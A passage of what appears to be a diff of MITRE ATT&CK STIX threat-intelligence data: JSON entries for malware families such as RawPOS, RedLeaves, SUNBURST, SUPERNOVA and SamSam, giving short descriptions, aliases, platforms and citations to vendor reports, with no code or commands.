2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0565", + "external_id": "S0565", + "source_name": "mitre-attack" + }, + { + "description": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "source_name": "Raindrop" + }, + { + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.", + "source_name": "Symantec RAINDROP January 2021" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.", + "source_name": "Microsoft Deep Dive Solorigate January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "RainyDay", + "x_mitre_aliases": [ + "RainyDay" + ], + "x_mitre_version": "1.0", + "modified": "2021-08-19T19:14:14.922Z", + "created": "2021-06-29T14:46:45.468Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", + "description": "[RainyDay](https://attack.mitre.org/software/S0629) is a backdoor tool that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0629", + "external_id": "S0629", + "source_name": "mitre-attack" + }, + { + "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", + "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021.", + "source_name": "Bitdefender Naikon April 2021" + } + ] + }, + { + "type": "malware", + "modified": "2021-04-14T22:10:12.150Z", + "name": "Ramsay", + "x_mitre_aliases": [ + "Ramsay" + ], + "x_mitre_version": "1.1", + "created": "2020-05-27T16:58:08.242Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Harry Kim, CODEMIZE" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0458", + "external_id": "S0458", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Eset Ramsay May 2020)", + "source_name": "Ramsay" + }, + { + "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", + "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020.", + "source_name": "Eset Ramsay May 2020" + }, + { + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021.", + "source_name": "Antiy CERT Ramsay April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "RawPOS", + "x_mitre_aliases": [ + "RawPOS", + "FIENDCRY", + "DUEBREW", + "DRIFTWOOD" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T03:01:39.526Z", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "description": "[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "x_mitre_contributors": [ + "Walker Johnson" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0169", + "url": "https://attack.mitre.org/software/S0169" + }, + { + "description": "(Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "source_name": "RawPOS" + }, + { + "description": "The FIENDCRY component is a memory scraper based on MemPDump that scans through process memory looking for regular expressions. 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Retrieved October 4, 2017.", + "source_name": "Kroll RawPOS Jan 2017" + }, + { + "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf", + "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", + "source_name": "TrendMicro RawPOS April 2015" + }, + { + "url": "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf", + "description": "Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.", + "source_name": "Visa RawPOS March 2015" + }, + { + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "source_name": "Mandiant FIN5 GrrCON Oct 2016" + }, + { + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "source_name": "DarkReading FireEye FIN5 Oct 2015" + }, + { + "url": "https://github.com/DiabloHorn/mempdump", + "description": "DiabloHorn. (2015, March 22). mempdump. Retrieved October 6, 2017.", + "source_name": "Github Mempdump" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Reaver", + "x_mitre_aliases": [ + "Reaver" + ], + "x_mitre_version": "1.1", + "modified": "2021-02-09T15:02:42.727Z", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "description": "[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel](https://attack.mitre.org/techniques/T1218/002) items.(Citation: Palo Alto Reaver Nov 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0172", + "external_id": "S0172", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Palo Alto Reaver Nov 2017)", + "source_name": "Reaver" + }, + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "RedLeaves", + "x_mitre_aliases": [ + "RedLeaves", + "BUGJUICE" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T21:01:05.439Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)", + "x_mitre_contributors": [ + "Edward Millington" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0153", + "external_id": "S0153", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)", + "source_name": "RedLeaves" + }, + { + "description": "Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named BUGJUICE by FireEye is likely the same as the malware RedLeaves. (Citation: FireEye APT10 April 2017) (Citation: Twitter Nick Carr APT10)", + "source_name": "BUGJUICE" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. 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[RegDuke](https://attack.mitre.org/software/S0511) has been used to control a compromised machine when control of other implants on the machine was lost.(Citation: ESET Dukes October 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0511", + "external_id": "S0511", + "source_name": "mitre-attack" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", + "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. 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Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Ryuk", + "x_mitre_aliases": [ + "Ryuk" + ], + "x_mitre_version": "1.2", + "modified": "2021-08-18T19:31:22.741Z", + "created": "2020-05-13T20:14:53.171Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", + "description": "[Ryuk](https://attack.mitre.org/software/S0446) is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. 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Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "SQLRat", + "x_mitre_aliases": [ + "SQLRat" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:12:51.198Z", + "created": "2019-06-18T18:40:33.671Z", + "id": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", + "description": "[SQLRat](https://attack.mitre.org/software/S0390) is malware that executes SQL scripts to avoid leaving traditional host artifacts. [FIN7](https://attack.mitre.org/groups/G0046) has been observed using it.(Citation: Flashpoint FIN 7 March 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0390", + "url": "https://attack.mitre.org/software/S0390" + }, + { + "description": "(Citation: Flashpoint FIN 7 March 2019)", + "source_name": "SQLRat" + }, + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "SUNBURST", + "x_mitre_aliases": [ + "SUNBURST", + "Solorigate" + ], + "x_mitre_version": "2.1", + "modified": "2021-10-18T15:01:16.538Z", + "created": "2021-01-05T22:42:05.965Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", + "description": "[SUNBURST](https://attack.mitre.org/software/S0559) is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", + "Matt Brenton, Zurich Insurance Group" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0559", + "external_id": "S0559", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye SUNBURST Backdoor December 2020)", + "source_name": "SUNBURST" + }, + { + "description": "(Citation: Microsoft Deep Dive Solorigate January 2021)", + "source_name": "Solorigate" + }, + { + "url": "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", + "description": "Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021.", + "source_name": "SolarWinds Sunburst Sunspot Update January 2021" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.", + "source_name": "Microsoft Deep Dive Solorigate January 2021" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "SUNSPOT", + "x_mitre_aliases": [ + "SUNSPOT" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-26T12:11:19.301Z", + "created": "2021-01-12T16:14:28.845Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", + "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) is an implant that injected the [SUNBURST](https://attack.mitre.org/software/S0559) backdoor into the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021) ", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0562", + "external_id": "S0562", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)", + "source_name": "SUNSPOT" + }, + { + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.", + "source_name": "CrowdStrike SUNSPOT Implant January 2021" + } + ] + }, + { + "type": "malware", + "modified": "2021-04-23T23:00:41.648Z", + "name": "SUPERNOVA", + "x_mitre_aliases": [ + "SUPERNOVA" + ], + "x_mitre_version": "1.0", + "created": "2021-02-18T17:35:13.361Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9", + "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of [APT29](https://attack.mitre.org/groups/G0016)'s SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests [SUPERNOVA](https://attack.mitre.org/software/S0578) may have been used by the China-based threat group SPIRAL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: SolarWinds Advisory Dec 2020)(Citation: CISA Supernova Jan 2021)(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0578", + "external_id": "S0578", + "source_name": "mitre-attack" + }, + { + "url": "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", + "description": "Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021.", + "source_name": "Guidepoint SUPERNOVA Dec 2020" + }, + { + "url": "https://unit42.paloaltonetworks.com/solarstorm-supernova/", + "description": "Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021.", + "source_name": "Unit42 SUPERNOVA Dec 2020" + }, + { + "url": "https://www.solarwinds.com/sa-overview/securityadvisory", + "description": "SolarWinds. (2020, December 24). SolarWinds Security Advisory. Retrieved February 22, 2021.", + "source_name": "SolarWinds Advisory Dec 2020" + }, + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a", + "description": "CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021.", + "source_name": "CISA Supernova Jan 2021" + }, + { + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.", + "source_name": "Microsoft Analyzing Solorigate Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "SYNful Knock", + "x_mitre_aliases": [ + "SYNful Knock" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-22T17:35:04.950Z", + "created": "2020-10-19T16:38:11.279Z", + "x_mitre_platforms": [ + "Network" + ], + "id": "malware--84c1ecc6-e5a2-4e8a-bf4b-651a618e0053", + "description": "[SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: FireEye - Synful Knock)(Citation: Cisco Synful Knock Evolution)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0519", + "external_id": "S0519", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html", + "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.", + "source_name": "FireEye - Synful Knock" + }, + { + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "source_name": "Cisco Synful Knock Evolution" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "SYSCON", + "x_mitre_aliases": [ + "SYSCON" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-15T15:17:10.012Z", + "created": "2020-06-02T18:46:58.489Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3", + "description": "[SYSCON](https://attack.mitre.org/software/S0464) is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. [SYSCON](https://attack.mitre.org/software/S0464) has been delivered by the [CARROTBALL](https://attack.mitre.org/software/S0465) and [CARROTBAT](https://attack.mitre.org/software/S0462) droppers.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0464", + "external_id": "S0464", + "source_name": "mitre-attack" + }, + { + "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/", + "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020.", + "source_name": "Unit 42 CARROTBAT November 2018" + }, + { + "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", + "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020.", + "source_name": "Unit 42 CARROTBAT January 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Sakula", + "x_mitre_aliases": [ + "Sakula", + "Sakurel", + "VIPER" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:13:29.169Z", + "created": "2017-05-31T21:32:48.482Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "description": "[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0074", + "external_id": "S0074", + "source_name": "mitre-attack" + }, + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "SamSam", + "x_mitre_aliases": [ + "SamSam", + "Samas" + ], + "x_mitre_version": "1.0", + "modified": "2019-04-18T20:59:56.853Z", + "created": "2019-04-15T19:40:07.664Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62", + "description": "[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0370", + "external_id": "S0370", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: US-CERT SamSam 2018)", + "source_name": "Samas" + }, + { + "source_name": "US-CERT SamSam 2018", + "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A" + }, + { + "url": "https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html", + "description": "Ventura, V. (2018, January 22). SamSam - The Evolution Continues Netting Over $325,000 in 4 Weeks. Retrieved April 16, 2019.", + "source_name": "Talos SamSam Jan 2018" + }, + { + "source_name": "Sophos SamSam Apr 2018", + "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.", + "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf" + }, + { + "url": "https://www.symantec.com/blogs/threat-intelligence/samsam-targeted-ransomware-attacks", + "description": "Symantec Security Response Attack Investigation Team. (2018, October 30). SamSam: Targeted Ransomware Attacks Continue. Retrieved April 16, 2019.", + "source_name": "Symantec SamSam Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "SeaDuke", + "x_mitre_aliases": [ + "SeaDuke", + "SeaDaddy", + "SeaDesk" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-26T17:40:17.009Z", + "created": "2017-05-31T21:32:37.767Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0053", + "external_id": "S0053", + "source_name": "mitre-attack" + }, + { + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Seasalt", + "x_mitre_aliases": [ + "Seasalt" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-19T19:18:10.963Z", + "created": "2019-01-30T15:27:06.404Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346).(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0345", + "external_id": "S0345", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)", + "source_name": "Seasalt" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1 Appendix" + }, + { + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "ServHelper", + "x_mitre_aliases": [ + "ServHelper" + ], + "x_mitre_version": "1.1", + "modified": "2020-05-29T19:31:03.708Z", + "created": "2019-05-29T13:14:38.638Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.(Citation: Proofpoint TA505 Jan 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0382", + "external_id": "S0382", + "source_name": "mitre-attack" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Seth-Locker", + "x_mitre_aliases": [ + "Seth-Locker" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-13T14:17:43.705Z", + "created": "2021-08-13T14:57:39.387Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--f931a0b9-0361-4b1b-bacf-955062c35746", + "description": "[Seth-Locker](https://attack.mitre.org/software/S0639) is a ransomware with some remote control capabilities that has been in use since at least 2021.\n(Citation: Trend Micro Ransomware 